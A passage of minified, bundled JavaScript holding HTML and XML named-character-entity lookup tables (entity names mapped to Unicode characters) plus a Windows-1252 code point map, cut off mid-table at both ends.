⥳","larrtl":"↢","latail":"⤙","lAtail":"⤛","lat":"⪫","late":"⪭","lates":"⪭︀","lbarr":"⤌","lBarr":"⤎","lbbrk":"❲","lbrace":"{","lbrack":"[","lbrke":"⦋","lbrksld":"⦏","lbrkslu":"⦍","Lcaron":"Ľ","lcaron":"ľ","Lcedil":"Ļ","lcedil":"ļ","lceil":"⌈","lcub":"{","Lcy":"Л","lcy":"л","ldca":"⤶","ldquo":"“","ldquor":"„","ldrdhar":"⥧","ldrushar":"⥋","ldsh":"↲","le":"≤","lE":"≦","LeftAngleBracket":"⟨","LeftArrowBar":"⇤","leftarrow":"←","LeftArrow":"←","Leftarrow":"⇐","LeftArrowRightArrow":"⇆","leftarrowtail":"↢","LeftCeiling":"⌈","LeftDoubleBracket":"⟦","LeftDownTeeVector":"⥡","LeftDownVectorBar":"⥙","LeftDownVector":"⇃","LeftFloor":"⌊","leftharpoondown":"↽","leftharpoonup":"↼","leftleftarrows":"⇇","leftrightarrow":"↔","LeftRightArrow":"↔","Leftrightarrow":"⇔","leftrightarrows":"⇆","leftrightharpoons":"⇋","leftrightsquigarrow":"↭","LeftRightVector":"⥎","LeftTeeArrow":"↤","LeftTee":"⊣","LeftTeeVector":"⥚","leftthreetimes":"⋋","LeftTriangleBar":"⧏","LeftTriangle":"⊲","LeftTriangleEqual":"⊴","LeftUpDownVector":"⥑","LeftUpTeeVector":"⥠","LeftUpVectorBar":"⥘","LeftUpVector":"↿","LeftVectorBar":"⥒","LeftVector":"↼","lEg":"⪋","leg":"⋚","leq":"≤","leqq":"≦","leqslant":"⩽","lescc":"⪨","les":"⩽","lesdot":"⩿","lesdoto":"⪁","lesdotor":"⪃","lesg":"⋚︀","lesges":"⪓","lessapprox":"⪅","lessdot":"⋖","lesseqgtr":"⋚","lesseqqgtr":"⪋","LessEqualGreater":"⋚","LessFullEqual":"≦","LessGreater":"≶","lessgtr":"≶","LessLess":"⪡","lesssim":"≲","LessSlantEqual":"⩽","LessTilde":"≲","lfisht":"⥼","lfloor":"⌊","Lfr":"𝔏","lfr":"𝔩","lg":"≶","lgE":"⪑","lHar":"⥢","lhard":"↽","lharu":"↼","lharul":"⥪","lhblk":"▄","LJcy":"Љ","ljcy":"љ","llarr":"⇇","ll":"≪","Ll":"⋘","llcorner":"⌞","Lleftarrow":"⇚","llhard":"⥫","lltri":"◺","Lmidot":"Ŀ","lmidot":"ŀ","lmoustache":"⎰","lmoust":"⎰","lnap":"⪉","lnapprox":"⪉","lne":"⪇","lnE":"≨","lneq":"⪇","lneqq":"≨","lnsim":"⋦","loang":"⟬","loarr":"⇽","lobrk":"⟦","longleftarrow":"⟵","LongLeftArrow":"⟵","Longleftarrow":"⟸","longleftrightarrow":"⟷","LongLeftRightArrow":"⟷","Longleftrightarrow":"⟺","longmapsto":"⟼","longrightarrow":"⟶","LongRightArrow":"⟶","Longrightarrow":"⟹","looparrowleft":"↫","looparrowright":"↬","lopar":"⦅","Lopf":"𝕃","lopf":"𝕝","loplus":"⨭","lotimes":"⨴","lowast":"∗","lowbar":"_","LowerLeftArrow":"↙","LowerRightArrow":"↘","loz":"◊","lozenge":"◊","lozf":"⧫","lpar":"(","lparlt":"⦓","lrarr":"⇆","lrcorner":"⌟","lrhar":"⇋","lrhard":"⥭","lrm":"‎","lrtri":"⊿","lsaquo":"‹","lscr":"𝓁","Lscr":"ℒ","lsh":"↰","Lsh":"↰","lsim":"≲","lsime":"⪍","lsimg":"⪏","lsqb":"[","lsquo":"‘","lsquor":"‚","Lstrok":"Ł","lstrok":"ł","ltcc":"⪦","ltcir":"⩹","lt":"<","LT":"<","Lt":"≪","ltdot":"⋖","lthree":"⋋","ltimes":"⋉","ltlarr":"⥶","ltquest":"⩻","ltri":"◃","ltrie":"⊴","ltrif":"◂","ltrPar":"⦖","lurdshar":"⥊","luruhar":"⥦","lvertneqq":"≨︀","lvnE":"≨︀","macr":"¯","male":"♂","malt":"✠","maltese":"✠","Map":"⤅","map":"↦","mapsto":"↦","mapstodown":"↧","mapstoleft":"↤","mapstoup":"↥","marker":"▮","mcomma":"⨩","Mcy":"М","mcy":"м","mdash":"—","mDDot":"∺","measuredangle":"∡","MediumSpace":" ","Mellintrf":"ℳ","Mfr":"𝔐","mfr":"𝔪","mho":"℧","micro":"µ","midast":"*","midcir":"⫰","mid":"∣","middot":"·","minusb":"⊟","minus":"−","minusd":"∸","minusdu":"⨪","MinusPlus":"∓","mlcp":"⫛","mldr":"…","mnplus":"∓","models":"⊧","Mopf":"𝕄","mopf":"𝕞","mp":"∓","mscr":"𝓂","Mscr":"ℳ","mstpos":"∾","Mu":"Μ","mu":"μ","multimap":"⊸","mumap":"⊸","nabla":"∇","Nacute":"Ń","nacute":"ń","nang":"∠⃒","nap":"≉","napE":"⩰̸","napid":"≋̸","napos":"ʼn","napprox":"≉","natural":"♮","naturals":"ℕ","natur":"♮","nbsp":" ","nbump":"≎̸","nbumpe":"≏̸","ncap":"⩃","Ncaron":"Ň","ncaron":"ň","Ncedil":"Ņ","ncedil":"ņ","ncong":"≇","ncongdot":"⩭̸","ncup":"⩂","Ncy":"Н","ncy":"н","ndash":"–","nearhk":"⤤","nearr":"↗","neArr":"⇗","nearrow":"↗","ne":"≠","nedot":"≐̸","NegativeMediumSpace":"​","NegativeThickSpace":"​","NegativeThinSpace":"​","NegativeVeryThinSpace":"​","nequiv":"≢","nesear":"⤨","nesim":"≂̸","NestedGreaterGreater":"≫","NestedLessLess":"≪","NewLine":"\\n","nexist":"∄","nexists":"∄","Nfr":"𝔑","nfr":"𝔫","ngE":"≧̸","nge":"≱","ngeq":"≱","ngeqq":"≧̸","ngeqslant":"⩾̸","nges":"⩾̸","nGg":"⋙̸","ngsim":"≵","nGt":"≫⃒","ngt":"≯","ngtr":"≯","nGtv":"≫̸","nharr":"↮","nhArr":"⇎","nhpar":"⫲","ni":"∋","nis":"⋼","nisd":"⋺","niv":"∋","NJcy":"Њ","njcy":"њ","nlarr":"↚","nlArr":"⇍","nldr":"‥","nlE":"≦̸","nle":"≰","nleftarrow":"↚","nLeftarrow":"⇍","nleftrightarrow":"↮","nLeftrightarrow":"⇎","nleq":"≰","nleqq":"≦̸","nleqslant":"⩽̸","nles":"⩽̸","nless":"≮","nLl":"⋘̸","nlsim":"≴","nLt":"≪⃒","nlt":"≮","nltri":"⋪","nltrie":"⋬","nLtv":"≪̸","nmid":"∤","NoBreak":"⁠","NonBreakingSpace":" ","nopf":"𝕟","Nopf":"ℕ","Not":"⫬","not":"¬","NotCongruent":"≢","NotCupCap":"≭","NotDoubleVerticalBar":"∦","NotElement":"∉","NotEqual":"≠","NotEqualTilde":"≂̸","NotExists":"∄","NotGreater":"≯","NotGreaterEqual":"≱","NotGreaterFullEqual":"≧̸","NotGreaterGreater":"≫̸","NotGreaterLess":"≹","NotGreaterSlantEqual":"⩾̸","NotGreaterTilde":"≵","NotHumpDownHump":"≎̸","NotHumpEqual":"≏̸","notin":"∉","notindot":"⋵̸","notinE":"⋹̸","notinva":"∉","notinvb":"⋷","notinvc":"⋶","NotLeftTriangleBar":"⧏̸","NotLeftTriangle":"⋪","NotLeftTriangleEqual":"⋬","NotLess":"≮","NotLessEqual":"≰","NotLessGreater":"≸","NotLessLess":"≪̸","NotLessSlantEqual":"⩽̸","NotLessTilde":"≴","NotNestedGreaterGreater":"⪢̸","NotNestedLessLess":"⪡̸","notni":"∌","notniva":"∌","notnivb":"⋾","notnivc":"⋽","NotPrecedes":"⊀","NotPrecedesEqual":"⪯̸","NotPrecedesSlantEqual":"⋠","NotReverseElement":"∌","NotRightTriangleBar":"⧐̸","NotRightTriangle":"⋫","NotRightTriangleEqual":"⋭","NotSquareSubset":"⊏̸","NotSquareSubsetEqual":"⋢","NotSquareSuperset":"⊐̸","NotSquareSupersetEqual":"⋣","NotSubset":"⊂⃒","NotSubsetEqual":"⊈","NotSucceeds":"⊁","NotSucceedsEqual":"⪰̸","NotSucceedsSlantEqual":"⋡","NotSucceedsTilde":"≿̸","NotSuperset":"⊃⃒","NotSupersetEqual":"⊉","NotTilde":"≁","NotTildeEqual":"≄","NotTildeFullEqual":"≇","NotTildeTilde":"≉","NotVerticalBar":"∤","nparallel":"∦","npar":"∦","nparsl":"⫽⃥","npart":"∂̸","npolint":"⨔","npr":"⊀","nprcue":"⋠","nprec":"⊀","npreceq":"⪯̸","npre":"⪯̸","nrarrc":"⤳̸","nrarr":"↛","nrArr":"⇏","nrarrw":"↝̸","nrightarrow":"↛","nRightarrow":"⇏","nrtri":"⋫","nrtrie":"⋭","nsc":"⊁","nsccue":"⋡","nsce":"⪰̸","Nscr":"𝒩","nscr":"𝓃","nshortmid":"∤","nshortparallel":"∦","nsim":"≁","nsime":"≄","nsimeq":"≄","nsmid":"∤","nspar":"∦","nsqsube":"⋢","nsqsupe":"⋣","nsub":"⊄","nsubE":"⫅̸","nsube":"⊈","nsubset":"⊂⃒","nsubseteq":"⊈","nsubseteqq":"⫅̸","nsucc":"⊁","nsucceq":"⪰̸","nsup":"⊅","nsupE":"⫆̸","nsupe":"⊉","nsupset":"⊃⃒","nsupseteq":"⊉","nsupseteqq":"⫆̸","ntgl":"≹","Ntilde":"Ñ","ntilde":"ñ","ntlg":"≸","ntriangleleft":"⋪","ntrianglelefteq":"⋬","ntriangleright":"⋫","ntrianglerighteq":"⋭","Nu":"Ν","nu":"ν","num":"#","numero":"№","numsp":" ","nvap":"≍⃒","nvdash":"⊬","nvDash":"⊭","nVdash":"⊮","nVDash":"⊯","nvge":"≥⃒","nvgt":">⃒","nvHarr":"⤄","nvinfin":"⧞","nvlArr":"⤂","nvle":"≤⃒","nvlt":"<⃒","nvltrie":"⊴⃒","nvrArr":"⤃","nvrtrie":"⊵⃒","nvsim":"∼⃒","nwarhk":"⤣","nwarr":"↖","nwArr":"⇖","nwarrow":"↖","nwnear":"⤧","Oacute":"Ó","oacute":"ó","oast":"⊛","Ocirc":"Ô","ocirc":"ô","ocir":"⊚","Ocy":"О","ocy":"о","odash":"⊝","Odblac":"Ő","odblac":"ő","odiv":"⨸","odot":"⊙","odsold":"⦼","OElig":"Œ","oelig":"œ","ofcir":"⦿","Ofr":"𝔒","ofr":"𝔬","ogon":"˛","Ograve":"Ò","ograve":"ò","ogt":"⧁","ohbar":"⦵","ohm":"Ω","oint":"∮","olarr":"↺","olcir":"⦾","olcross":"⦻","oline":"‾","olt":"⧀","Omacr":"Ō","omacr":"ō","Omega":"Ω","omega":"ω","Omicron":"Ο","omicron":"ο","omid":"⦶","ominus":"⊖","Oopf":"𝕆","oopf":"𝕠","opar":"⦷","OpenCurlyDoubleQuote":"“","OpenCurlyQuote":"‘","operp":"⦹","oplus":"⊕","orarr":"↻","Or":"⩔","or":"∨","ord":"⩝","order":"ℴ","orderof":"ℴ","ordf":"ª","ordm":"º","origof":"⊶","oror":"⩖","orslope":"⩗","orv":"⩛","oS":"Ⓢ","Oscr":"𝒪","oscr":"ℴ","Oslash":"Ø","oslash":"ø","osol":"⊘","Otilde":"Õ","otilde":"õ","otimesas":"⨶","Otimes":"⨷","otimes":"⊗","Ouml":"Ö","ouml":"ö","ovbar":"⌽","OverBar":"‾","OverBrace":"⏞","OverBracket":"⎴","OverParenthesis":"⏜","para":"¶","parallel":"∥","par":"∥","parsim":"⫳","parsl":"⫽","part":"∂","PartialD":"∂","Pcy":"П","pcy":"п","percnt":"%","period":".","permil":"‰","perp":"⊥","pertenk":"‱","Pfr":"𝔓","pfr":"𝔭","Phi":"Φ","phi":"φ","phiv":"ϕ","phmmat":"ℳ","phone":"☎","Pi":"Π","pi":"π","pitchfork":"⋔","piv":"ϖ","planck":"ℏ","planckh":"ℎ","plankv":"ℏ","plusacir":"⨣","plusb":"⊞","pluscir":"⨢","plus":"+","plusdo":"∔","plusdu":"⨥","pluse":"⩲","PlusMinus":"±","plusmn":"±","plussim":"⨦","plustwo":"⨧","pm":"±","Poincareplane":"ℌ","pointint":"⨕","popf":"𝕡","Popf":"ℙ","pound":"£","prap":"⪷","Pr":"⪻","pr":"≺","prcue":"≼","precapprox":"⪷","prec":"≺","preccurlyeq":"≼","Precedes":"≺","PrecedesEqual":"⪯","PrecedesSlantEqual":"≼","PrecedesTilde":"≾","preceq":"⪯","precnapprox":"⪹","precneqq":"⪵","precnsim":"⋨","pre":"⪯","prE":"⪳","precsim":"≾","prime":"′","Prime":"″","primes":"ℙ","prnap":"⪹","prnE":"⪵","prnsim":"⋨","prod":"∏","Product":"∏","profalar":"⌮","profline":"⌒","profsurf":"⌓","prop":"∝","Proportional":"∝","Proportion":"∷","propto":"∝","prsim":"≾","prurel":"⊰","Pscr":"𝒫","pscr":"𝓅","Psi":"Ψ","psi":"ψ","puncsp":" ","Qfr":"𝔔","qfr":"𝔮","qint":"⨌","qopf":"𝕢","Qopf":"ℚ","qprime":"⁗","Qscr":"𝒬","qscr":"𝓆","quaternions":"ℍ","quatint":"⨖","quest":"?","questeq":"≟","quot":"\\"","QUOT":"\\"","rAarr":"⇛","race":"∽̱","Racute":"Ŕ","racute":"ŕ","radic":"√","raemptyv":"⦳","rang":"⟩","Rang":"⟫","rangd":"⦒","range":"⦥","rangle":"⟩","raquo":"»","rarrap":"⥵","rarrb":"⇥","rarrbfs":"⤠","rarrc":"⤳","rarr":"→","Rarr":"↠","rArr":"⇒","rarrfs":"⤞","rarrhk":"↪","rarrlp":"↬","rarrpl":"⥅","rarrsim":"⥴","Rarrtl":"⤖","rarrtl":"↣","rarrw":"↝","ratail":"⤚","rAtail":"⤜","ratio":"∶","rationals":"ℚ","rbarr":"⤍","rBarr":"⤏","RBarr":"⤐","rbbrk":"❳","rbrace":"}","rbrack":"]","rbrke":"⦌","rbrksld":"⦎","rbrkslu":"⦐","Rcaron":"Ř","rcaron":"ř","Rcedil":"Ŗ","rcedil":"ŗ","rceil":"⌉","rcub":"}","Rcy":"Р","rcy":"р","rdca":"⤷","rdldhar":"⥩","rdquo":"”","rdquor":"”","rdsh":"↳","real":"ℜ","realine":"ℛ","realpart":"ℜ","reals":"ℝ","Re":"ℜ","rect":"▭","reg":"®","REG":"®","ReverseElement":"∋","ReverseEquilibrium":"⇋","ReverseUpEquilibrium":"⥯","rfisht":"⥽","rfloor":"⌋","rfr":"𝔯","Rfr":"ℜ","rHar":"⥤","rhard":"⇁","rharu":"⇀","rharul":"⥬","Rho":"Ρ","rho":"ρ","rhov":"ϱ","RightAngleBracket":"⟩","RightArrowBar":"⇥","rightarrow":"→","RightArrow":"→","Rightarrow":"⇒","RightArrowLeftArrow":"⇄","rightarrowtail":"↣","RightCeiling":"⌉","RightDoubleBracket":"⟧","RightDownTeeVector":"⥝","RightDownVectorBar":"⥕","RightDownVector":"⇂","RightFloor":"⌋","rightharpoondown":"⇁","rightharpoonup":"⇀","rightleftarrows":"⇄","rightleftharpoons":"⇌","rightrightarrows":"⇉","rightsquigarrow":"↝","RightTeeArrow":"↦","RightTee":"⊢","RightTeeVector":"⥛","rightthreetimes":"⋌","RightTriangleBar":"⧐","RightTriangle":"⊳","RightTriangleEqual":"⊵","RightUpDownVector":"⥏","RightUpTeeVector":"⥜","RightUpVectorBar":"⥔","RightUpVector":"↾","RightVectorBar":"⥓","RightVector":"⇀","ring":"˚","risingdotseq":"≓","rlarr":"⇄","rlhar":"⇌","rlm":"‏","rmoustache":"⎱","rmoust":"⎱","rnmid":"⫮","roang":"⟭","roarr":"⇾","robrk":"⟧","ropar":"⦆","ropf":"𝕣","Ropf":"ℝ","roplus":"⨮","rotimes":"⨵","RoundImplies":"⥰","rpar":")","rpargt":"⦔","rppolint":"⨒","rrarr":"⇉","Rrightarrow":"⇛","rsaquo":"›","rscr":"𝓇","Rscr":"ℛ","rsh":"↱","Rsh":"↱","rsqb":"]","rsquo":"’","rsquor":"’","rthree":"⋌","rtimes":"⋊","rtri":"▹","rtrie":"⊵","rtrif":"▸","rtriltri":"⧎","RuleDelayed":"⧴","ruluhar":"⥨","rx":"℞","Sacute":"Ś","sacute":"ś","sbquo":"‚","scap":"⪸","Scaron":"Š","scaron":"š","Sc":"⪼","sc":"≻","sccue":"≽","sce":"⪰","scE":"⪴","Scedil":"Ş","scedil":"ş","Scirc":"Ŝ","scirc":"ŝ","scnap":"⪺","scnE":"⪶","scnsim":"⋩","scpolint":"⨓","scsim":"≿","Scy":"С","scy":"с","sdotb":"⊡","sdot":"⋅","sdote":"⩦","searhk":"⤥","searr":"↘","seArr":"⇘","searrow":"↘","sect":"§","semi":";","seswar":"⤩","setminus":"∖","setmn":"∖","sext":"✶","Sfr":"𝔖","sfr":"𝔰","sfrown":"⌢","sharp":"♯","SHCHcy":"Щ","shchcy":"щ","SHcy":"Ш","shcy":"ш","ShortDownArrow":"↓","ShortLeftArrow":"←","shortmid":"∣","shortparallel":"∥","ShortRightArrow":"→","ShortUpArrow":"↑","shy":"­","Sigma":"Σ","sigma":"σ","sigmaf":"ς","sigmav":"ς","sim":"∼","simdot":"⩪","sime":"≃","simeq":"≃","simg":"⪞","simgE":"⪠","siml":"⪝","simlE":"⪟","simne":"≆","simplus":"⨤","simrarr":"⥲","slarr":"←","SmallCircle":"∘","smallsetminus":"∖","smashp":"⨳","smeparsl":"⧤","smid":"∣","smile":"⌣","smt":"⪪","smte":"⪬","smtes":"⪬︀","SOFTcy":"Ь","softcy":"ь","solbar":"⌿","solb":"⧄","sol":"/","Sopf":"𝕊","sopf":"𝕤","spades":"♠","spadesuit":"♠","spar":"∥","sqcap":"⊓","sqcaps":"⊓︀","sqcup":"⊔","sqcups":"⊔︀","Sqrt":"√","sqsub":"⊏","sqsube":"⊑","sqsubset":"⊏","sqsubseteq":"⊑","sqsup":"⊐","sqsupe":"⊒","sqsupset":"⊐","sqsupseteq":"⊒","square":"□","Square":"□","SquareIntersection":"⊓","SquareSubset":"⊏","SquareSubsetEqual":"⊑","SquareSuperset":"⊐","SquareSupersetEqual":"⊒","SquareUnion":"⊔","squarf":"▪","squ":"□","squf":"▪","srarr":"→","Sscr":"𝒮","sscr":"𝓈","ssetmn":"∖","ssmile":"⌣","sstarf":"⋆","Star":"⋆","star":"☆","starf":"★","straightepsilon":"ϵ","straightphi":"ϕ","strns":"¯","sub":"⊂","Sub":"⋐","subdot":"⪽","subE":"⫅","sube":"⊆","subedot":"⫃","submult":"⫁","subnE":"⫋","subne":"⊊","subplus":"⪿","subrarr":"⥹","subset":"⊂","Subset":"⋐","subseteq":"⊆","subseteqq":"⫅","SubsetEqual":"⊆","subsetneq":"⊊","subsetneqq":"⫋","subsim":"⫇","subsub":"⫕","subsup":"⫓","succapprox":"⪸","succ":"≻","succcurlyeq":"≽","Succeeds":"≻","SucceedsEqual":"⪰","SucceedsSlantEqual":"≽","SucceedsTilde":"≿","succeq":"⪰","succnapprox":"⪺","succneqq":"⪶","succnsim":"⋩","succsim":"≿","SuchThat":"∋","sum":"∑","Sum":"∑","sung":"♪","sup1":"¹","sup2":"²","sup3":"³","sup":"⊃","Sup":"⋑","supdot":"⪾","supdsub":"⫘","supE":"⫆","supe":"⊇","supedot":"⫄","Superset":"⊃","SupersetEqual":"⊇","suphsol":"⟉","suphsub":"⫗","suplarr":"⥻","supmult":"⫂","supnE":"⫌","supne":"⊋","supplus":"⫀","supset":"⊃","Supset":"⋑","supseteq":"⊇","supseteqq":"⫆","supsetneq":"⊋","supsetneqq":"⫌","supsim":"⫈","supsub":"⫔","supsup":"⫖","swarhk":"⤦","swarr":"↙","swArr":"⇙","swarrow":"↙","swnwar":"⤪","szlig":"ß","Tab":"\\t","target":"⌖","Tau":"Τ","tau":"τ","tbrk":"⎴","Tcaron":"Ť","tcaron":"ť","Tcedil":"Ţ","tcedil":"ţ","Tcy":"Т","tcy":"т","tdot":"⃛","telrec":"⌕","Tfr":"𝔗","tfr":"𝔱","there4":"∴","therefore":"∴","Therefore":"∴","Theta":"Θ","theta":"θ","thetasym":"ϑ","thetav":"ϑ","thickapprox":"≈","thicksim":"∼","ThickSpace":"  ","ThinSpace":" ","thinsp":" ","thkap":"≈","thksim":"∼","THORN":"Þ","thorn":"þ","tilde":"˜","Tilde":"∼","TildeEqual":"≃","TildeFullEqual":"≅","TildeTilde":"≈","timesbar":"⨱","timesb":"⊠","times":"×","timesd":"⨰","tint":"∭","toea":"⤨","topbot":"⌶","topcir":"⫱","top":"⊤","Topf":"𝕋","topf":"𝕥","topfork":"⫚","tosa":"⤩","tprime":"‴","trade":"™","TRADE":"™","triangle":"▵","triangledown":"▿","triangleleft":"◃","trianglelefteq":"⊴","triangleq":"≜","triangleright":"▹","trianglerighteq":"⊵","tridot":"◬","trie":"≜","triminus":"⨺","TripleDot":"⃛","triplus":"⨹","trisb":"⧍","tritime":"⨻","trpezium":"⏢","Tscr":"𝒯","tscr":"𝓉","TScy":"Ц","tscy":"ц","TSHcy":"Ћ","tshcy":"ћ","Tstrok":"Ŧ","tstrok":"ŧ","twixt":"≬","twoheadleftarrow":"↞","twoheadrightarrow":"↠","Uacute":"Ú","uacute":"ú","uarr":"↑","Uarr":"↟","uArr":"⇑","Uarrocir":"⥉","Ubrcy":"Ў","ubrcy":"ў","Ubreve":"Ŭ","ubreve":"ŭ","Ucirc":"Û","ucirc":"û","Ucy":"У","ucy":"у","udarr":"⇅","Udblac":"Ű","udblac":"ű","udhar":"⥮","ufisht":"⥾","Ufr":"𝔘","ufr":"𝔲","Ugrave":"Ù","ugrave":"ù","uHar":"⥣","uharl":"↿","uharr":"↾","uhblk":"▀","ulcorn":"⌜","ulcorner":"⌜","ulcrop":"⌏","ultri":"◸","Umacr":"Ū","umacr":"ū","uml":"¨","UnderBar":"_","UnderBrace":"⏟","UnderBracket":"⎵","UnderParenthesis":"⏝","Union":"⋃","UnionPlus":"⊎","Uogon":"Ų","uogon":"ų","Uopf":"𝕌","uopf":"𝕦","UpArrowBar":"⤒","uparrow":"↑","UpArrow":"↑","Uparrow":"⇑","UpArrowDownArrow":"⇅","updownarrow":"↕","UpDownArrow":"↕","Updownarrow":"⇕","UpEquilibrium":"⥮","upharpoonleft":"↿","upharpoonright":"↾","uplus":"⊎","UpperLeftArrow":"↖","UpperRightArrow":"↗","upsi":"υ","Upsi":"ϒ","upsih":"ϒ","Upsilon":"Υ","upsilon":"υ","UpTeeArrow":"↥","UpTee":"⊥","upuparrows":"⇈","urcorn":"⌝","urcorner":"⌝","urcrop":"⌎","Uring":"Ů","uring":"ů","urtri":"◹","Uscr":"𝒰","uscr":"𝓊","utdot":"⋰","Utilde":"Ũ","utilde":"ũ","utri":"▵","utrif":"▴","uuarr":"⇈","Uuml":"Ü","uuml":"ü","uwangle":"⦧","vangrt":"⦜","varepsilon":"ϵ","varkappa":"ϰ","varnothing":"∅","varphi":"ϕ","varpi":"ϖ","varpropto":"∝","varr":"↕","vArr":"⇕","varrho":"ϱ","varsigma":"ς","varsubsetneq":"⊊︀","varsubsetneqq":"⫋︀","varsupsetneq":"⊋︀","varsupsetneqq":"⫌︀","vartheta":"ϑ","vartriangleleft":"⊲","vartriangleright":"⊳","vBar":"⫨","Vbar":"⫫","vBarv":"⫩","Vcy":"В","vcy":"в","vdash":"⊢","vDash":"⊨","Vdash":"⊩","VDash":"⊫","Vdashl":"⫦","veebar":"⊻","vee":"∨","Vee":"⋁","veeeq":"≚","vellip":"⋮","verbar":"|","Verbar":"‖","vert":"|","Vert":"‖","VerticalBar":"∣","VerticalLine":"|","VerticalSeparator":"❘","VerticalTilde":"≀","VeryThinSpace":" ","Vfr":"𝔙","vfr":"𝔳","vltri":"⊲","vnsub":"⊂⃒","vnsup":"⊃⃒","Vopf":"𝕍","vopf":"𝕧","vprop":"∝","vrtri":"⊳","Vscr":"𝒱","vscr":"𝓋","vsubnE":"⫋︀","vsubne":"⊊︀","vsupnE":"⫌︀","vsupne":"⊋︀","Vvdash":"⊪","vzigzag":"⦚","Wcirc":"Ŵ","wcirc":"ŵ","wedbar":"⩟","wedge":"∧","Wedge":"⋀","wedgeq":"≙","weierp":"℘","Wfr":"𝔚","wfr":"𝔴","Wopf":"𝕎","wopf":"𝕨","wp":"℘","wr":"≀","wreath":"≀","Wscr":"𝒲","wscr":"𝓌","xcap":"⋂","xcirc":"◯","xcup":"⋃","xdtri":"▽","Xfr":"𝔛","xfr":"𝔵","xharr":"⟷","xhArr":"⟺","Xi":"Ξ","xi":"ξ","xlarr":"⟵","xlArr":"⟸","xmap":"⟼","xnis":"⋻","xodot":"⨀","Xopf":"𝕏","xopf":"𝕩","xoplus":"⨁","xotime":"⨂","xrarr":"⟶","xrArr":"⟹","Xscr":"𝒳","xscr":"𝓍","xsqcup":"⨆","xuplus":"⨄","xutri":"△","xvee":"⋁","xwedge":"⋀","Yacute":"Ý","yacute":"ý","YAcy":"Я","yacy":"я","Ycirc":"Ŷ","ycirc":"ŷ","Ycy":"Ы","ycy":"ы","yen":"¥","Yfr":"𝔜","yfr":"𝔶","YIcy":"Ї","yicy":"ї","Yopf":"𝕐","yopf":"𝕪","Yscr":"𝒴","yscr":"𝓎","YUcy":"Ю","yucy":"ю","yuml":"ÿ","Yuml":"Ÿ","Zacute":"Ź","zacute":"ź","Zcaron":"Ž","zcaron":"ž","Zcy":"З","zcy":"з","Zdot":"Ż","zdot":"ż","zeetrf":"ℨ","ZeroWidthSpace":"​","Zeta":"Ζ","zeta":"ζ","zfr":"𝔷","Zfr":"ℨ","ZHcy":"Ж","zhcy":"ж","zigrarr":"⇝","zopf":"𝕫","Zopf":"ℤ","Zscr":"𝒵","zscr":"𝓏","zwj":"‍","zwnj":"‌"}')},23195:e=>{"use strict";e.exports=JSON.parse('{"Aacute":"Á","aacute":"á","Acirc":"Â","acirc":"â","acute":"´","AElig":"Æ","aelig":"æ","Agrave":"À","agrave":"à","amp":"&","AMP":"&","Aring":"Å","aring":"å","Atilde":"Ã","atilde":"ã","Auml":"Ä","auml":"ä","brvbar":"¦","Ccedil":"Ç","ccedil":"ç","cedil":"¸","cent":"¢","copy":"©","COPY":"©","curren":"¤","deg":"°","divide":"÷","Eacute":"É","eacute":"é","Ecirc":"Ê","ecirc":"ê","Egrave":"È","egrave":"è","ETH":"Ð","eth":"ð","Euml":"Ë","euml":"ë","frac12":"½","frac14":"¼","frac34":"¾","gt":">","GT":">","Iacute":"Í","iacute":"í","Icirc":"Î","icirc":"î","iexcl":"¡","Igrave":"Ì","igrave":"ì","iquest":"¿","Iuml":"Ï","iuml":"ï","laquo":"«","lt":"<","LT":"<","macr":"¯","micro":"µ","middot":"·","nbsp":" ","not":"¬","Ntilde":"Ñ","ntilde":"ñ","Oacute":"Ó","oacute":"ó","Ocirc":"Ô","ocirc":"ô","Ograve":"Ò","ograve":"ò","ordf":"ª","ordm":"º","Oslash":"Ø","oslash":"ø","Otilde":"Õ","otilde":"õ","Ouml":"Ö","ouml":"ö","para":"¶","plusmn":"±","pound":"£","quot":"\\"","QUOT":"\\"","raquo":"»","reg":"®","REG":"®","sect":"§","shy":"­","sup1":"¹","sup2":"²","sup3":"³","szlig":"ß","THORN":"Þ","thorn":"þ","times":"×","Uacute":"Ú","uacute":"ú","Ucirc":"Û","ucirc":"û","Ugrave":"Ù","ugrave":"ù","uml":"¨","Uuml":"Ü","uuml":"ü","Yacute":"Ý","yacute":"ý","yen":"¥","yuml":"ÿ"}')},61210:e=>{"use strict";e.exports=JSON.parse('{"amp":"&","apos":"\'","gt":">","lt":"<","quot":"\\""}')},42968:e=>{"use strict";e.exports=JSON.parse('{"0":65533,"128":8364,"130":8218,"131":402,"132":8222,"133":8230,"134":8224,"135":8225,"136":710,"137":8240,"138":352,"139":8249,"140":338,"142":381,"145":8216,"146":8217,"147":8220,"148":8221,"149":8226,"150":8211,"151":8212,"152":732,"153":8482,"154":353,"155":8250,"156":339,"158":382,"159":376}')},23042:e=>{"use strict";e.exports=JSON.parse('{"Aacute":"Á","aacute":"á","Abreve":"Ă","abreve":"ă","ac":"∾","acd":"∿","acE":"∾̳","Acirc":"Â","acirc":"â","acute":"´","Acy":"А","acy":"а","AElig":"Æ","aelig":"æ","af":"⁡","Afr":"𝔄","afr":"𝔞","Agrave":"À","agrave":"à","alefsym":"ℵ","aleph":"ℵ","Alpha":"Α","alpha":"α","Amacr":"Ā","amacr":"ā","amalg":"⨿","amp":"&","AMP":"&","andand":"⩕","And":"⩓","and":"∧","andd":"⩜","andslope":"⩘","andv":"⩚","ang":"∠","ange":"⦤","angle":"∠","angmsdaa":"⦨","angmsdab":"⦩","angmsdac":"⦪","angmsdad":"⦫","angmsdae":"⦬","angmsdaf":"⦭","angmsdag":"⦮","angmsdah":"⦯","angmsd":"∡","angrt":"∟","angrtvb":"⊾","angrtvbd":"⦝","angsph":"∢","angst":"Å","angzarr":"⍼","Aogon":"Ą","aogon":"ą","Aopf":"𝔸","aopf":"𝕒","apacir":"⩯","ap":"≈","apE":"⩰","ape":"≊","apid":"≋","apos":"\'","ApplyFunction":"⁡","approx":"≈","approxeq":"≊","Aring":"Å","aring":"å","Ascr":"𝒜","ascr":"𝒶","Assign":"≔","ast":"*","asymp":"≈","asympeq":"≍","Atilde":"Ã","atilde":"ã","Auml":"Ä","auml":"ä","awconint":"∳","awint":"⨑","backcong":"≌","backepsilon":"϶","backprime":"‵","backsim":"∽","backsimeq":"⋍","Backslash":"∖","Barv":"⫧","barvee":"⊽","barwed":"⌅","Barwed":"⌆","barwedge":"⌅","bbrk":"⎵","bbrktbrk":"⎶","bcong":"≌","Bcy":"Б","bcy":"б","bdquo":"„","becaus":"∵","because":"∵","Because":"∵","bemptyv":"⦰","bepsi":"϶","bernou":"ℬ","Bernoullis":"ℬ","Beta":"Β","beta":"β","beth":"ℶ","between":"≬","Bfr":"𝔅","bfr":"𝔟","bigcap":"⋂","bigcirc":"◯","